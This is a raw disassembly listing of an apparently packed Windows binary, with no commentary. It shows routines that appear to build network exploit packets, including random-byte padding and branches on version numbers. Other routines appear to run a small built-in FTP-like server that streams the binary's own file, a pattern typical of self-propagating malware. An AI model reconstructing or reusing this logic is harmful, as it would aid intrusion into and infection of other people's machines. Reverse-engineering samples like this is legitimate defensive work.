		mov	[ebp+var_1B78],	eax
		push	8
		push	0FFFFFF90h
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B6A
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 8
		mov	[ebp+var_1B78],	eax
		push	4
		push	offset loc_41A8BC
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	4
		push	0FFFFFF90h
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B6A
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	6
		push	offset loc_41A8C4
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 6
		mov	[ebp+var_1B78],	eax
		push	[ebp+var_204]
		push	0FFFFFF90h
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B6A
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, [ebp+var_204]
		mov	[ebp+var_1B78],	eax
		push	[ebp+var_370]
		lea	eax, [ebp+var_200]
		push	eax
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, [ebp+var_370]
		mov	[ebp+var_1B78],	eax
		push	168h
		lea	eax, [ebp+var_36C]
		push	eax
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 168h
		mov	[ebp+var_1B78],	eax
		push	0Ah
		push	offset off_41A8CC
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 0Ah
		mov	[ebp+var_1B78],	eax
		push	32h
		push	offset dword_41A860
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 32h
		mov	[ebp+var_1B78],	eax
		mov	eax, [ebp+var_1B78]
		mov	[ebp+var_B6C], eax
		mov	eax, [ebp+var_1B78]
		sub	eax, 18h
		mov	[ebp+var_B64], eax
		push	[ebp+var_1B78]
		lea	eax, [ebp+var_B74]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	0EA60h
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_410B36
		jmp	short locret_410B50
; ---------------------------------------------------------------------------


loc_410B36:				; CODE XREF: sub_410649+4E9j
		push	0
		push	1000h
		lea	eax, [ebp+var_1B74]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	dword_417248

locret_410B50:				; CODE XREF: sub_410649+38j
					; sub_410649+A2j ...
		leave
		retn
sub_410649	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410B52	proc near		; DATA XREF: .packed:0041CDF0o

var_104C	= byte ptr -104Ch
var_FC6		= byte ptr -0FC6h
var_BDE		= byte ptr -0BDEh
var_B9E		= byte ptr -0B9Eh
var_B7C		= dword	ptr -0B7Ch
var_B78		= byte ptr -0B78h
var_AF2		= byte ptr -0AF2h
var_88E		= byte ptr -88Eh
var_882		= byte ptr -882h
var_85E		= byte ptr -85Eh
var_852		= byte ptr -852h
var_82E		= byte ptr -82Eh
var_80C		= byte ptr -80Ch
var_7CC		= byte ptr -7CCh
var_7C8		= byte ptr -7C8h
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 104Ch
		call	sub_416BC0
		push	7
		push	offset dword_41A7A8
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+2Ah]
		mov	eax, [ebp+arg_0]
		add	eax, 146h
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, 0C6h
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+0C2h]
		push	200h
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4125DF
		add	esp, 20h
		mov	[ebp+var_20C], eax
		cmp	[ebp+var_20C], 0
		jnz	short loc_410BAF
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410BAF:				; CODE XREF: sub_410B52+56j
		push	89h
		push	offset dword_41AF50
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410BEF
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410BEF:				; CODE XREF: sub_410B52+96j
		push	0A8h
		push	offset dword_41AFDC
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410C2F
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410C2F:				; CODE XREF: sub_410B52+D6j
		push	0DEh
		push	offset dword_41B088
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410C6F
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410C6F:				; CODE XREF: sub_410B52+116j
		movsx	eax, [ebp+var_7CC]
		sub	eax, 30h
		mov	[ebp+var_208], al
		movsx	eax, [ebp+var_7C8]
		sub	eax, 30h
		mov	[ebp+var_4], al
		push	3Eh
		push	offset dword_41B168
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410CC9
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410CC9:				; CODE XREF: sub_410B52+170j
		push	60h
		push	offset dword_41B1A8
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410D06
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410D06:				; CODE XREF: sub_410B52+1ADj
		push	0A0h
		push	offset dword_41B20C
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410D46
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410D46:				; CODE XREF: sub_410B52+1EDj
		movsx	eax, [ebp+var_208]
		cmp	eax, 5
		jnz	loc_410E71
		movsx	eax, [ebp+var_4]
		cmp	eax, 1
		jnz	loc_410E71
		push	86h
		push	offset dword_41B2B0
		lea	eax, [ebp+var_B78]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	[ebp+var_20C]
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_AF2]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	0
		mov	eax, 264h
		sub	eax, [ebp+var_20C]
		add	eax, 60h
		push	eax
		mov	eax, [ebp+var_20C]
		lea	eax, [ebp+eax+var_AF2]
		push	eax


loc_410DB7:				; DATA XREF: .packed:off_419A7Co
		call	sub_410F60
		add	esp, 0Ch
		push	4
		push	offset dword_41B410
		lea	eax, [ebp+var_88E]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	4
		push	offset dword_41B408
		lea	eax, [ebp+var_882]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	4
		push	offset dword_41B408
		lea	eax, [ebp+var_85E]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	4
		push	offset dword_41B408
		lea	eax, [ebp+var_852]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	20h
		push	offset dword_41B338
		lea	eax, [ebp+var_82E]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	36Ah
		lea	eax, [ebp+var_B78]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	400h
		call	dword_41709C
		push	36Ah
		lea	eax, [ebp+var_B78]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410E71:				; CODE XREF: sub_410B52+1FEj
					; sub_410B52+20Bj
		movsx	eax, [ebp+var_208]
		cmp	eax, 5
		jnz	short loc_410E85
		movsx	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_410E95


loc_410E85:				; CODE XREF: sub_410B52+329j
		movsx	eax, [ebp+var_208]
		cmp	eax, 4
		jnz	locret_410F5E


loc_410E95:				; CODE XREF: sub_410B52+331j
		push	86h
		push	offset dword_41B35C
		lea	eax, [ebp+var_104C]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		mov	eax, 3E8h
		sub	eax, [ebp+var_20C]
		push	eax
		push	90h
		lea	eax, [ebp+var_FC6]
		push	eax
		call	sub_416B6A
		add	esp, 0Ch
		push	[ebp+var_20C]
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_BDE]
		sub	eax, [ebp+var_20C]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		and	[ebp+var_B7C], 0
		jmp	short loc_410F06
; ---------------------------------------------------------------------------


loc_410EF9:				; CODE XREF: sub_410B52+3DAj
		mov	eax, [ebp+var_B7C]
		inc	eax
		mov	[ebp+var_B7C], eax


loc_410F06:				; CODE XREF: sub_410B52+3A5j
		cmp	[ebp+var_B7C], 10h
		jge	short loc_410F2E
		push	4
		push	offset dword_41B408
		mov	eax, [ebp+var_B7C]
		lea	eax, [ebp+eax*4+var_BDE]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		jmp	short loc_410EF9
; ---------------------------------------------------------------------------


loc_410F2E:				; CODE XREF: sub_410B52+3BBj
		push	20h
		push	offset dword_41B3E4
		lea	eax, [ebp+var_B9E]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	4CEh
		lea	eax, [ebp+var_104C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch

locret_410F5E:				; CODE XREF: sub_410B52+58j
					; sub_410B52+98j ...
		leave
		retn
sub_410B52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F60	proc near		; CODE XREF: sub_410B52:loc_410DB7p

var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	[ebp+arg_8], 0
		jnz	short loc_410FA4
		and	[ebp+var_4], 0
		jmp	short loc_410F79
; ---------------------------------------------------------------------------


loc_410F72:				; CODE XREF: sub_410F60+3Dj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_410F79:				; CODE XREF: sub_410F60+10j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_410F9F
		push	20h
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		imul	eax, 5
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	al, byte_41BB00[eax]
		mov	[ecx], al
		jmp	short loc_410F72
; ---------------------------------------------------------------------------


loc_410F9F:				; CODE XREF: sub_410F60+1Fj
		jmp	locret_41102D
; ---------------------------------------------------------------------------


loc_410FA4:				; CODE XREF: sub_410F60+Aj
		cmp	[ebp+arg_8], 7Fh
		jnz	short loc_410FDF
		and	[ebp+var_8], 0
		jmp	short loc_410FB7
; ---------------------------------------------------------------------------


loc_410FB0:				; CODE XREF: sub_410F60+7Bj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_410FB7:				; CODE XREF: sub_410F60+4Ej
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_410FDD
		push	5
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		imul	eax, 5
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	al, byte_41BB00[eax]
		mov	[ecx], al
		jmp	short loc_410FB0
; ---------------------------------------------------------------------------


loc_410FDD:				; CODE XREF: sub_410F60+5Dj
		jmp	short locret_41102D
; ---------------------------------------------------------------------------


loc_410FDF:				; CODE XREF: sub_410F60+48j
		and	[ebp+var_C], 0


loc_410FE3:				; CODE XREF: sub_410F60+ADj
					; sub_410F60+CBj
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+arg_4]
		jnb	short locret_41102D
		push	20h
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_10], al
		movsx	eax, [ebp+var_10]
		imul	eax, 5
		mov	ecx, [ebp+arg_8]
		and	ecx, dword_41BB01[eax]
		test	ecx, ecx
		jz	short loc_41100F
		jmp	short loc_410FE3
; ---------------------------------------------------------------------------


loc_41100F:				; CODE XREF: sub_410F60+ABj
		movsx	eax, [ebp+var_10]
		imul	eax, 5
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_C]
		mov	al, byte_41BB00[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		jmp	short loc_410FE3
; ---------------------------------------------------------------------------

locret_41102D:				; CODE XREF: sub_410F60:loc_410F9Fj
					; sub_410F60:loc_410FDDj ...
		leave
		retn
sub_410F60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41102F	proc near		; CODE XREF: sub_41113B+79Bp

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	0EA60h
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_204], eax
		cmp	[ebp+var_204], 0
		jz	short loc_411065
		cmp	[ebp+var_204], 0FFFFFFFFh
		jnz	short loc_41106C


loc_411065:				; CODE XREF: sub_41102F+2Bj
		xor	eax, eax
		jmp	locret_411139
; ---------------------------------------------------------------------------


loc_41106C:				; CODE XREF: sub_41102F+34j
		push	offset aRb	; "rb"
		push	offset dword_41EC0C
		call	sub_416B88
		pop	ecx
		pop	ecx
		mov	[ebp+var_208], eax
		cmp	[ebp+var_208], 0
		jnz	short loc_41109F
		push	[ebp+var_204]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	locret_411139
; ---------------------------------------------------------------------------


loc_41109F:				; CODE XREF: sub_41102F+5Bj
					; sub_41102F:loc_41111Cj
		mov	eax, [ebp+var_208]
		mov	eax, [eax+0Ch]
		and	eax, 10h
		test	eax, eax
		jnz	short loc_41111E
		push	[ebp+var_208]
		push	200h
		push	1
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B90
		add	esp, 10h
		mov	[ebp+var_20C], eax
		push	[ebp+var_20C]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+var_204]
		call	sub_4053BF
		add	esp, 0Ch
		mov	[ebp+var_210], eax
		mov	eax, [ebp+var_20C]
		cmp	eax, [ebp+var_210]
		jz	short loc_41111C
		push	[ebp+var_204]
		call	sub_4053B1
		pop	ecx
		push	[ebp+var_208]
		call	sub_416B82
		pop	ecx
		xor	eax, eax
		jmp	short locret_411139
; ---------------------------------------------------------------------------


loc_41111C:				; CODE XREF: sub_41102F+CFj
		jmp	short loc_41109F
; ---------------------------------------------------------------------------


loc_41111E:				; CODE XREF: sub_41102F+7Ej
		push	[ebp+var_204]
		call	sub_40538D
		pop	ecx
		push	[ebp+var_208]
		call	sub_416B82
		pop	ecx
		push	1
		pop	eax

locret_411139:				; CODE XREF: sub_41102F+38j
					; sub_41102F+6Bj ...
		leave
		retn
sub_41102F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41113B	proc near		; DATA XREF: sub_411BBC+156o

var_558		= dword	ptr -558h
var_554		= dword	ptr -554h
var_550		= dword	ptr -550h
var_54C		= dword	ptr -54Ch
var_548		= dword	ptr -548h
var_544		= dword	ptr -544h
var_540		= byte ptr -540h
var_53C		= byte ptr -53Ch
var_538		= byte ptr -538h
var_534		= dword	ptr -534h
var_530		= byte ptr -530h
var_52C		= dword	ptr -52Ch
var_528		= dword	ptr -528h
var_524		= dword	ptr -524h
var_520		= dword	ptr -520h
var_51C		= dword	ptr -51Ch
var_518		= byte ptr -518h
var_318		= byte ptr -318h
var_118		= dword	ptr -118h
var_114		= byte ptr -114h
var_113		= byte ptr -113h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 558h
		push	edi
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10C], eax
		push	offset dword_41C6B0
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		mov	al, byte_41DF10
		mov	[ebp+var_104], al
		push	3Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_103]
		rep stosd
		stosw
		stosb
		mov	al, byte_41DF10
		mov	[ebp+var_114], al
		xor	eax, eax
		lea	edi, [ebp+var_113]
		stosd
		stosb
		and	[ebp+var_4], 0
		and	[ebp+var_118], 0
		and	[ebp+var_108], 0


loc_4111CC:				; CODE XREF: sub_41113B+10Cj
					; sub_41113B+1BDj ...
		push	0EA60h
		push	[ebp+var_10C]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_4119BA
		push	200h
		lea	eax, [ebp+var_318]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp+var_520], eax
		cmp	[ebp+var_520], 0
		jz	short loc_411218
		cmp	[ebp+var_520], 0FFFFFFFFh
		jnz	short loc_41121D


loc_411218:				; CODE XREF: sub_41113B+D2j
		jmp	loc_4119BA
; ---------------------------------------------------------------------------


loc_41121D:				; CODE XREF: sub_41113B+DBj
		lea	eax, [ebp+var_108]
		push	eax
		push	offset dword_41C6AC
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_528], eax
		cmp	[ebp+var_528], 0
		jnz	short loc_411249
		jmp	short loc_4111CC
; ---------------------------------------------------------------------------


loc_411249:				; CODE XREF: sub_41113B+10Aj
		lea	eax, [ebp+var_108]
		push	eax
		push	offset dword_41C6AC
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_51C], eax
		cmp	[ebp+var_51C], 0
		jnz	short loc_411278
		mov	[ebp+var_51C], offset byte_41DF10


loc_411278:				; CODE XREF: sub_41113B+131j
		lea	eax, [ebp+var_108]
		push	eax
		push	offset dword_41C6AC
		push	0
		call	sub_40813C
		add	esp, 0Ch
		push	[ebp+var_528]
		call	sub_40ED38
		pop	ecx
		mov	[ebp+var_524], eax
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C6A0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_4112FD
		mov	[ebp+var_4], 1
		push	offset dword_41C698
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_4112FD:				; CODE XREF: sub_41113B+178j
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C68C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_41135D
		mov	[ebp+var_118], 1
		push	offset dword_41C684
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_41135D:				; CODE XREF: sub_41113B+1D5j
		cmp	[ebp+var_4], 0
		jz	short loc_41136C
		cmp	[ebp+var_118], 0
		jnz	short loc_411371


loc_41136C:				; CODE XREF: sub_41113B+226j
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_411371:				; CODE XREF: sub_41113B+22Fj
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C678
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_4113C7
		push	offset dword_41C670
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_4113C7:				; CODE XREF: sub_41113B+249j
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C664
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_41141D
		push	offset dword_41C65C
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_41141D:				; CODE XREF: sub_41113B+29Fj
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C654
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_411473
		push	offset dword_41C648
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_411473:				; CODE XREF: sub_41113B+2F5j
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C63C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_4114C9
		push	offset dword_41C634
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_4114C9:				; CODE XREF: sub_41113B+34Bj
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C628
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_41151F
		push	offset dword_41C620
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_41151F:				; CODE XREF: sub_41113B+3A1j
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C614
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_411622
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_52C]
		push	eax
		lea	eax, [ebp+var_540]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		lea	eax, [ebp+var_538]
		push	eax
		lea	eax, [ebp+var_530]
		push	eax
		push	offset aUUUUUU	; "%u,%u,%u,%u,%u,%u"
		push	[ebp+var_51C]
		call	sub_416BA2
		add	esp, 20h
		movzx	eax, [ebp+var_540]
		push	eax
		movzx	eax, [ebp+var_53C]
		push	eax
		movzx	eax, [ebp+var_538]
		push	eax
		movzx	eax, [ebp+var_530]
		push	eax
		push	offset dword_418A50
		push	100h
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416BAE
		add	esp, 1Ch
		mov	eax, [ebp+var_52C]
		and	eax, 0FFh
		shl	eax, 8
		mov	ecx, [ebp+var_534]
		and	ecx, 0FFh
		or	eax, ecx
		push	eax
		push	offset dword_418A60
		push	6
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_416BAE
		add	esp, 10h
		push	offset dword_41C634
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_411622:				; CODE XREF: sub_41113B+3F7j
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C5F4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_4116E9
		push	offset aRb	; "rb"
		push	offset dword_41EC0C
		call	sub_416B88
		pop	ecx
		pop	ecx
		mov	[ebp+var_548], eax
		cmp	[ebp+var_548], 0
		jnz	short loc_411660
		jmp	loc_4119BA
; ---------------------------------------------------------------------------


loc_411660:				; CODE XREF: sub_41113B+51Ej
		push	2
		push	0
		push	[ebp+var_548]
		call	sub_416B96
		add	esp, 0Ch
		push	[ebp+var_548]
		call	sub_416B76
		pop	ecx
		mov	[ebp+var_544], eax
		push	0
		push	0
		push	[ebp+var_548]
		call	sub_416B96
		add	esp, 0Ch
		push	[ebp+var_548]
		call	sub_416B82
		pop	ecx
		push	[ebp+var_544]
		push	offset dword_41C5E8
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE
		add	esp, 10h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_4116E9:				; CODE XREF: sub_41113B+4FAj
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C5DC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_411873
		push	offset a150	; "150 -\r\n"
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	0
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_54C], eax
		cmp	[ebp+var_54C], 0
		jz	short loc_411773
		cmp	[ebp+var_54C], 0FFFFFFFFh
		jnz	short loc_411778


loc_411773:				; CODE XREF: sub_41113B+62Dj
		jmp	loc_4119BA
; ---------------------------------------------------------------------------


loc_411778:				; CODE XREF: sub_41113B+636j
		push	offset aRb	; "rb"
		push	offset dword_41EC0C
		call	sub_416B88
		pop	ecx
